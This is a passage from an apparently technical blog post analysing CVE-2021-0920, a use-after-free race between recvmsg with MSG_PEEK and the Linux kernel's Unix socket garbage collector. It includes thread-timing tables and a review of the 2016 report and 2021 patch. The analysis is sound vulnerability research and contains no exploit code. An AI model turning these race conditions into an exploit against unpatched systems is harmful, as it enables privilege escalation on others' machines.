<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Stage2: No garbage, return.</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Call </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> with </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag from </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span> to get </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c2">’</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Call </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> without </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag from </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span> to get </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c2">’’</span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Call </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> with </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag from </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c2">’</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Everyone is happy</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Everyone is happy</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Everyone is happy</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>However, if the second </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> occurs </span><span>just after stage </span><span class="ykcrMYlEiJ-c2">1 of the garbage collection process, the UAF is triggered:</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.4cb3bda9bda9e3eb3317a2b662883e2cb8968cd6"></a><a id="t.18"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Thread 0</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Thread 1</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Thread 2</span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Call unix_gc</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Stage0: List </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">3</span><span class="ykcrMYlEiJ-c11">1</span><span>, </span><span class="ykcrMYlEiJ-c15">𝛼</span><span class="ykcrMYlEiJ-c15"> </span><span class="ykcrMYlEiJ-c2">as garbage candidates.</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Call </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> with </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag from </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">2</span><span class="ykcrMYlEiJ-c11">1</span><span> to get </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c2">’</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Increase reference count: </span><span class="ykcrMYlEiJ-c3">scm.fp = scm_fp_dup(</span><span class="ykcrMYlEiJ-c3">UNIXCB</span><span class="ykcrMYlEiJ-c3">(skb).fp);</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Stage0: decrease inflight count from the child of every garbage candidates</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Status after stage 0:</span></p>
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c15">) = 0</span></p>
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 0</span></p>
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c15">) = 0</span></p>
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 1</span></p>
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">3</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 0</span></p>
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(𝛼) = 0</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Stage1: Start restoring inflight count.</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Call </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> with </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag from </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span> to get </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c2">’</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c46"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Call </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> without </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag from </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span> to get </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c2">’’</span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c3">unix_detach_fds</span><span>: </span><span class="ykcrMYlEiJ-c3">UNIXCB</span><span class="ykcrMYlEiJ-c3">(skb).fp = NULL</span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Blocked by </span><span class="ykcrMYlEiJ-c3">spin_lock(&unix_gc_lock)</span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Stage1: </span><span class="ykcrMYlEiJ-c3">scan_inflight</span><span> cannot find candidate children from </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c2">. Thus, the inflight count accidentally remains the same.</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Stage2: </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">3</span><span class="ykcrMYlEiJ-c11">1</span><span>, </span><span class="ykcrMYlEiJ-c15">𝛼</span><span class="ykcrMYlEiJ-c2"> are garbage.</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Stage2: start purging garbage.</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Start calling </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> with </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag from </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span>’, which would expect to receive </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c2">'</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Get </span><span class="ykcrMYlEiJ-c3">skb = skb_peek(&sk->sk_receive_queue)</span><span>, </span><span class="ykcrMYlEiJ-c3">skb</span><span class="ykcrMYlEiJ-c2"> is going to be freed by thread 0.</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Stage2: for</span><span><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRTVI1goYtLkJZYRh0P5Wj_jeCjDeIhbMLEzwbzMCMWdag6uBicpIv7TtDorvArzkMmQGMRq6Ss5WdVDwyKTZE9frPBY44fOF667d2D7rKxarcAfp9x9t-YrNRielyFYOgI0998OI0TplaeHW7CGyz4SAFs2udorAlUMxe4gaCPYqr2zP9AjmKbyip/s260/image18.png" border="0" alt="" style="max-height: 750px; max-width: 100px; box-shadow: none; --webkit-box-shadow: none; --moz-box-shadow: none; border:0; display: inline;" title="" />, calls </span><span class="ykcrMYlEiJ-c3">__skb_unlink</span><span> and </span><span class="ykcrMYlEiJ-c3">kfree_skb</span><span class="ykcrMYlEiJ-c2"> later.</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c3">state->recv_actor(skb, skip, chunk, state)</span><span> </span><span class="c34 c19 c7 c39 c42">UAF</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">GC finished.</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Start garbage collection.</span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Get </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c2">’’</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Therefore, the race condition causes a UAF of the skb object. At first glance, we should blame the second </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> syscall because it clears </span><span class="ykcrMYlEiJ-c3">skb.fp</span><span>, the passed file list.</span><span> However, if the first </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> syscall doesn’t set the </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag, the UAF can be avoided because </span><span class="ykcrMYlEiJ-c3">unix_notinflight</span><span> is serialized with the garbage collection. In other words, the kernel makes sure the garbage collection is either not processed or finished before decrementing the inflight count and removing the skb. After </span><span class="ykcrMYlEiJ-c3">unix_notinflight</span><span>, the receiver obtains </span><span class="ykcrMYlEiJ-c8">f</span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c2">' and inflight sockets don't form an unbreakable cycle.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Since </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> is not serialized with the garbage collection, when </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> is called with </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> set, the kernel still considers </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span> as a garbage candidate. For this reason, the following next </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span class="ykcrMYlEiJ-c2"> will eventually trigger the bug due to the inconsistent state of the garbage collection process.</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2"> </span></p><h1 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.wrjvlggcdxoy"><span class="ykcrMYlEiJ-c47 ykcrMYlEiJ-c39">Patch Analysis</span></h1><h2 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.de5p59plssty"><span class="ykcrMYlEiJ-c1">CVE-2021-0920 was found in 2016</span></h2>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>The vulnerability was </span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://patchwork.ozlabs.org/project/netdev/patch/CAOssrKcfncAYsQWkfLGFgoOxAQJVT2hYVWdBA6Cw7hhO8RJ_wQ@mail.gmail.com/">initially reported to the Linux kernel community in 2016</a></span><span class="ykcrMYlEiJ-c2">. The researcher also provided the correct patch advice but it was not accepted by the Linux kernel community:</span></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8WLJ5TaSrwBSyzsB2cnn3WlhRBqZzDHyOAnU8PWvMGr9d2l85FCYHw8fwiHRmFRMtPBMSe3kcFyISMGzuqmFyc0Ks5gJymqNPxh_kHdy59iHrUXTkpc5MTEyoOSroIHMzmqgQCibycvyxMRR-kUmjKIB3y0kqNHvN1TQULEUY8f04pIe65f-z3l3A/s1202/image65.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8WLJ5TaSrwBSyzsB2cnn3WlhRBqZzDHyOAnU8PWvMGr9d2l85FCYHw8fwiHRmFRMtPBMSe3kcFyISMGzuqmFyc0Ks5gJymqNPxh_kHdy59iHrUXTkpc5MTEyoOSroIHMzmqgQCibycvyxMRR-kUmjKIB3y0kqNHvN1TQULEUY8f04pIe65f-z3l3A/s1202/image65.png" border="0" alt="Linux kernel developers: Why would I apply a patch that's an RFC, doesn't have a proper commit message, lacks a proper signoff, and also lacks ACK's and feedback from other knowledgable developers?" style="max-height: 750px; max-width: 600px;"title="Linux kernel developers: Why would I apply a patch that's an RFC, doesn't have a proper commit message, lacks a proper signoff, and also lacks ACK's and feedback from other knowledgable developers?" /></a></span></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="c34 c19 c32">Patch was not applied in 2016</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2">In theory, anyone who saw this patch might come up with an exploit against the faulty garbage collector. </span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><h2 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.4z83prp6b89e"><span class="ykcrMYlEiJ-c41">Patch in 2021</span></h2>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Let’s check the official </span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://lore.kernel.org/lkml/20210802134333.066918619@linuxfoundation.org/">patch</a></span><span> </span><span>for CVE-2021-0920. For the </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> branch, it </span><span>requests the</span><span> garbage collection lock </span><span class="ykcrMYlEiJ-c3">unix_gc_lock</span><span> before performing sensitive actions</span><span class="ykcrMYlEiJ-c2"> and immediately releases it afterwards:</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.35ff1e948ec741d79429e84cee5745d3afcaaae5"></a><a id="t.19"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">…</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">+</span><span class="ykcrMYlEiJ-c0"> spin_lock</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">unix_gc_lock</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">+</span><span class="ykcrMYlEiJ-c0"> spin_unlock</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">unix_gc_lock</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">…</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>The patch is confusing - it’s rare to see such lock usage in software development. Regardless, the </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag now waits for the completion of the garbage collector, so the UAF issue is resolved.</span></p><h2 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.9ft0l34fnpmk"><span class="ykcrMYlEiJ-c41">BUG_ON Added in 2017</span></h2>
